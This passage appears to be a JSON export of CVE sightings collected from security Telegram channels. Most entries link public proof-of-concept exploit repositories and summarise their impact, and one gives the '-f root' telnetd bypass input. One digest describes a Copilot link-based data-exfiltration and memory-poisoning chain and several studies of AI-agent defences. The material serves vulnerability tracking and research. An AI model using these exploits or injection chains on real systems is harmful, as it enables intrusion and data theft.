Account takeover\n\u2022 CVSS 10.0 Critical\n\n\ud83d\udcda Research Value\nThese PoC repositories can be used for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Secure coding research\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.737676Z"}, {"uuid": "ab212af1-70d9-47d8-864b-56ca0f8521bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/CyberSecurityExploit/16968", "content": "\ud83d\udd25 Recent RCE & Security Research Highlights\n\n1\ufe0f\u20e3 CVE-2025-11730 \u2013 Zyxel ATP/USG Series RCE\nRCE via DDNS configuration abuse in Zyxel ATP/USG firewalls.\nPoC demonstrates remote command execution through crafted DDNS requests.\n\ud83d\udc49 Critical network edge device vulnerability, high risk in enterprise environments.\n\nBlog : https://rainpwn.blog/blog/cve-2025-11730\nPoC : https://github.com/rainpwn/exploits/blob/main/zyxel/rainpwn_cve-2025-11730_ddns_rce.py\n\n\n2\ufe0f\u20e3 CVE-2026-25049 \u2013 n8n RCE (Deep Dive)\nRemote code execution in n8n workflow automation platform.\nAttackers can execute arbitrary commands via vulnerable workflow handling.\n\ud83d\udc49 High impact for CI/CD, automation, and internal tooling environments.\n\n\ud83d\udd17 https://blog.securelayer7.net/cve-2026-25049\n\n\n3\ufe0f\u20e3 The RCE That AMD Won\u2019t Fix\nTechnical analysis of an RCE-class vulnerability affecting AMD components.\nIssue remains unpatched due to architectural and vendor constraints.\n\ud83d\udc49 Long-term risk: unfixable bugs become permanent attack surface.\n\n\ud83d\udd17 https://web.archive.org/web/20260205155934/https://mrbruh.com/amd\n\n\n4\ufe0f\u20e3 CVE-2026-24858 \u2013 Fortinet FortiCloud SSO Admin Bypass\nAuthentication bypass allowing administrative access to FortiCloud SSO.\nSuccessful exploitation grants elevated privileges without valid credentials.\n\ud83d\udc49 Identity and access control failure \u2014 high-value target for attackers.\n\n\ud83d\udd17 https://github.com/absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass\n\n\n5\ufe0f\u20e3 CVE-2026-25587 / CVE-2026-25641 \u2013 SandboxJS Sandbox Escape\nSandbox escape vulnerabilities in SandboxJS leading to code execution.\nBreaks isolation guarantees intended to safely run untrusted JavaScript.\n\ud83d\udc49 Sandbox escapes often lead directly to full RCE chains.\n\n\ud83d\udd17 https://github.com/advisories/GHSA-66h4-qj4x-38xp\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\n\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:10.650230Z"}, {"uuid": "d6111f4f-8d95-49a4-bd13-f1bf31202888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://t.me/bhhub/1213", "content": "Weekly 8 AI & Cyber signals to act on (Aug 17\u201324, 2026)\n\n#AISecurity@bhhub\n\n\u2728 KeyPooling finds shared LLM cache identity. AI inference caches can cross tenant boundaries when gateways share upstream credentials: five tested gateways exposed cross-customer reads, and one controlled route recovered 16 bits in 128 victim-path requests. Bind cache keys to authenticated tenants; the paper estimates post-prefix isolation at 1.7\u20132.5% extra cost, but does not estimate real-world prevalence.\n\n\u2728 MaliciousSkillBench breaks scanner confidence. AI-agent skill defenses that scored up to .932 Macro-F1 on random splits fell to .653\u2013.665 on unseen sources across a 9,740-sample benchmark. One model kept 95.6% malicious recall only by flagging 62.4% of benign skills; validate scanners source-disjoint and budget for false positives.\n\n\u2728 LeakGauge spots context extraction before decoding. An LLM\u2019s own prefill probabilities reveal system-prompt and RAG leakage attempts: across 11 open models, unseen-attack AUROC was .944\u2013.996, with under 500 probe parameters and 10.34 ms added latency. A known single probe was evaded, so deployments need diverse probes; unrestricted adaptive robustness is unproven.\n\n\u2728 AID-Guard binds one approval to one effect. For tool-using AI agents, approval must survive retries, crashes and ambiguous provider results: a prototype blocked 44/44 compromised-proposer attacks and produced no duplicates across 290 Stripe, successor, race and recovery trials. The exact policy cut benign utility by 35.4\u201343.8 points, making safer typed profiles the research problem.\n\n#AppSec@bhhub\n\n\u2728 ARQ teaches agents to repair CodeQL. An execution-grounded LLM agent improved 12 official C/C++ queries, raised FormAI true positives by up to 119.8% at \u226598% precision, fixed three long-open CodeQL issues, and found two new zlib/libpng bugs. Pure-LLM editing regressed in five of six settings: generated witness programs are the critical feedback loop.\n\n#RedTeam@bhhub\n\n\u2728 CoSnitch makes Copilot leak via one link. Copilot\u2019s prompt autorun, connectors, fetch and persistent memory formed an AI-specific exfiltration chain: after a victim opened a crafted link, researchers read connected data and planted memory that survived password reset. Microsoft patched CVE-2026-24301 (CVSS 8.8); Varonis reports no in-the-wild exploitation.\n\n#BlueTeam@bhhub\n\n\u2728 ClawSentry guards the full agent lifecycle. Monitoring AI skills from admission through post-action effect cut contextual attack success on Codex/GPT-5.4 from 39.55% to 2.61% with task success nearly flat, and reduced attacks across five agents to 9.09\u201315.03%. Poisoned-package utility still fell and clean false blocks reached 5.7\u20137.5% in stress tests.\n\n\u2728 CTIFoundry makes small AI investigators beat a flagship. A typed CTI graph, narrow tools and procedural skills lifted agent F1 from .610 to .829 for GPT-5.4 and .470 to .745 for Claude Haiku; a 2\u00d72 ablation isolated super-additive gains from structure plus procedure. Code is not public yet, and attribution still needs human review.", "creation_timestamp": "2026-08-24T09:00:04.739377Z"}, {"uuid": "d721905c-2c1e-446c-8e4e-95ac56b6005f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/16968", "content": "\ud83d\udd25 Recent RCE & Security Research Highlights\n\n1\ufe0f\u20e3 CVE-2025-11730 \u2013 Zyxel ATP/USG Series RCE\nRCE via DDNS configuration abuse in Zyxel ATP/USG firewalls.\nPoC demonstrates remote command execution through crafted DDNS requests.\n\ud83d\udc49 Critical network edge device vulnerability, high risk in enterprise environments.\n\nBlog : https://rainpwn.blog/blog/cve-2025-11730\nPoC : https://github.com/rainpwn/exploits/blob/main/zyxel/rainpwn_cve-2025-11730_ddns_rce.py\n\n\n2\ufe0f\u20e3 CVE-2026-25049 \u2013 n8n RCE (Deep Dive)\nRemote code execution in n8n workflow automation platform.\nAttackers can execute arbitrary commands via vulnerable workflow handling.\n\ud83d\udc49 High impact for CI/CD, automation, and internal tooling environments.\n\n\ud83d\udd17 https://blog.securelayer7.net/cve-2026-25049\n\n\n3\ufe0f\u20e3 The RCE That AMD Won\u2019t Fix\nTechnical analysis of an RCE-class vulnerability affecting AMD components.\nIssue remains unpatched due to architectural and vendor constraints.\n\ud83d\udc49 Long-term risk: unfixable bugs become permanent attack surface.\n\n\ud83d\udd17 https://web.archive.org/web/20260205155934/https://mrbruh.com/amd\n\n\n4\ufe0f\u20e3 CVE-2026-24858 \u2013 Fortinet FortiCloud SSO Admin Bypass\nAuthentication bypass allowing administrative access to FortiCloud SSO.\nSuccessful exploitation grants elevated privileges without valid credentials.\n\ud83d\udc49 Identity and access control failure \u2014 high-value target for attackers.\n\n\ud83d\udd17 https://github.com/absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass\n\n\n5\ufe0f\u20e3 CVE-2026-25587 / CVE-2026-25641 \u2013 SandboxJS Sandbox Escape\nSandbox escape vulnerabilities in SandboxJS leading to code execution.\nBreaks isolation guarantees intended to safely run untrusted JavaScript.\n\ud83d\udc49 Sandbox escapes often lead directly to full RCE chains.\n\n\ud83d\udd17 https://github.com/advisories/GHSA-66h4-qj4x-38xp\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\n\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-29T00:00:31.906310Z"}, {"uuid": "f5f5fc84-b868-42e8-a86c-24660db06793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2374", "content": "https://github.com/SafeBreach-Labs/CVE-2026-24061\n\n\u0435\u0449\u0435 \u043f\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0448\u0442\u0443\u043a\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-07-28T23:00:04.951124Z"}, {"uuid": "122866e4-6b06-44f1-a4b5-83f61a320f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2374", "content": "https://github.com/SafeBreach-Labs/CVE-2026-24061\n\n\u0435\u0449\u0435 \u043f\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0448\u0442\u0443\u043a\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-07-29T00:00:10.834800Z"}, {"uuid": "fc9eeba8-f846-4318-b39a-def0ad6f7d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/hn_best_comments/28775", "content": "Re: Zero-day CSS: CVE-2026-2441 exists in the wild\n\n\"Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\"\n\nThat's pretty bad! I wonder what kind of bounty went to the researcher.\n\nmpeg, 2 days ago", "creation_timestamp": "2026-07-29T12:01:06.493608Z"}, {"uuid": "20dd0f45-0b75-4c1b-87ce-92d8ff869d60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/hn_best_comments/28775", "content": "Re: Zero-day CSS: CVE-2026-2441 exists in the wild\n\n\"Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\"\n\nThat's pretty bad! I wonder what kind of bounty went to the researcher.\n\nmpeg, 2 days ago", "creation_timestamp": "2026-07-30T00:01:46.990565Z"}, {"uuid": "03f9cc7a-e7c8-464c-817c-a6c8e3d73ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17045", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for security research and vulnerability analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Remote Authentication Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication.\nBy sending a crafted USER environment variable (-f root) through the NEW_ENVIRON telnet option, attackers can obtain a root shell without credentials.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns Heap Out-of-Bounds Read (DoS)\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns DNS server version 1.3 can trigger a crash and denial-of-service condition.\nThe flaw occurs during DNS request processing and may lead to memory access violations.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety issue\n\n3\ufe0f\u20e3 CVE-2026-22444\n\ud83c\udfaf Apache Solr RCE / NTLM Hash Disclosure\n\n\ud83d\udd17 PoC\nhttps://github.com/dptsec/CVE-2026-22444\n\n\ud83e\udde0 Overview\nA vulnerability in Apache Solr (8.6 \u2013 9.10.0) allows attackers to trigger remote command execution or expose NTLM hashes in certain Windows standalone deployments.\nPublic PoC scripts demonstrate exploitation scenarios.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 NTLM hash leakage\n\u2022 Server compromise\n\n4\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office Security Feature Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA research PoC demonstrates how specially crafted DOCX files with embedded OLE artifacts can bypass certain security protections in Microsoft Office environments.\nThe PoC is designed primarily for EDR / AV detection testing in isolated labs.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Potential malware delivery vector\n\n5\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical vulnerability in the pac4j-jwt authentication library allows attackers to forge JWT tokens using only the public key.\nThis enables attackers to authenticate as any user, including administrators, without knowing a secret.\n\n\u2699\ufe0f Impact\n\u2022 Complete authentication bypass\n\u2022 Account takeover\n\u2022 CVSS 10.0 Critical\n\n\ud83d\udcda Research Value\nThese PoC repositories can be used for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Secure coding research\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.452346Z"}, {"uuid": "02881206-dac5-4436-a830-b9df54c8189b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17056", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.257138Z"}, {"uuid": "5768bbd8-e307-4193-9258-5c6a10b1e67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17085", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.405605Z"}, {"uuid": "74ccc8cd-3047-49a2-8060-9e161ff38908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:20.482724Z"}, {"uuid": "eb026863-bb9d-4d6e-a083-2a74f12c9dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberDispatch/741", "content": "Google patched Chrome zero-day CVE-2026-2441, a CVSS 8.8 bug already exploited in attacks.\n\nThe CSS use-after-free flaw allows sandboxed remote code execution via malicious pages.", "creation_timestamp": "2026-08-30T00:00:47.334250Z"}, {"uuid": "b7cab616-4e47-4233-8d6c-775161d8c0bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-30T00:00:45.461151Z"}, {"uuid": "17a70bde-81cd-4822-94b1-8f7825b97062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/CyberDispatch/741", "content": "Google patched Chrome zero-day CVE-2026-2441, a CVSS 8.8 bug already exploited in attacks.\n\nThe CSS use-after-free flaw allows sandboxed remote code execution via malicious pages.", "creation_timestamp": "2026-08-31T00:00:13.385402Z"}, {"uuid": "68df9943-e4cc-4e8c-96ae-81c825e4a9ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberDispatch/583", "content": "An 11-year-old critical flaw in GNU InetUtils telnetd lets attackers log in as root with no password.\n\nTracked as CVE-2026-24061 (CVSS 9.8), it affects all versions 1.9.3\u20132.7 due to an unsanitized USER environment value passed to login.", "creation_timestamp": "2026-08-31T00:00:11.060508Z"}, {"uuid": "252d609c-53d4-4b6e-a59b-2abe55c5860a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24954", "type": "seen", "source": "https://t.me/CyberDispatch/655", "content": "CVE-2026-24954 \n\nDeserialization of Untrusted Data vulnerability in magepeopleteam WpEvently mage-eventpress allows Object Injection.", "creation_timestamp": "2026-08-31T00:00:11.970913Z"}, {"uuid": "2ad00a03-204f-4e8e-98c2-c4a172f3a3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24665", "type": "seen", "source": "https://t.me/CyberDispatch/658", "content": "CVE-2026-24665 \n\nThe Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, a stored Cross-Site Scripting (XSS) vulnerability allows authenticated.", "creation_timestamp": 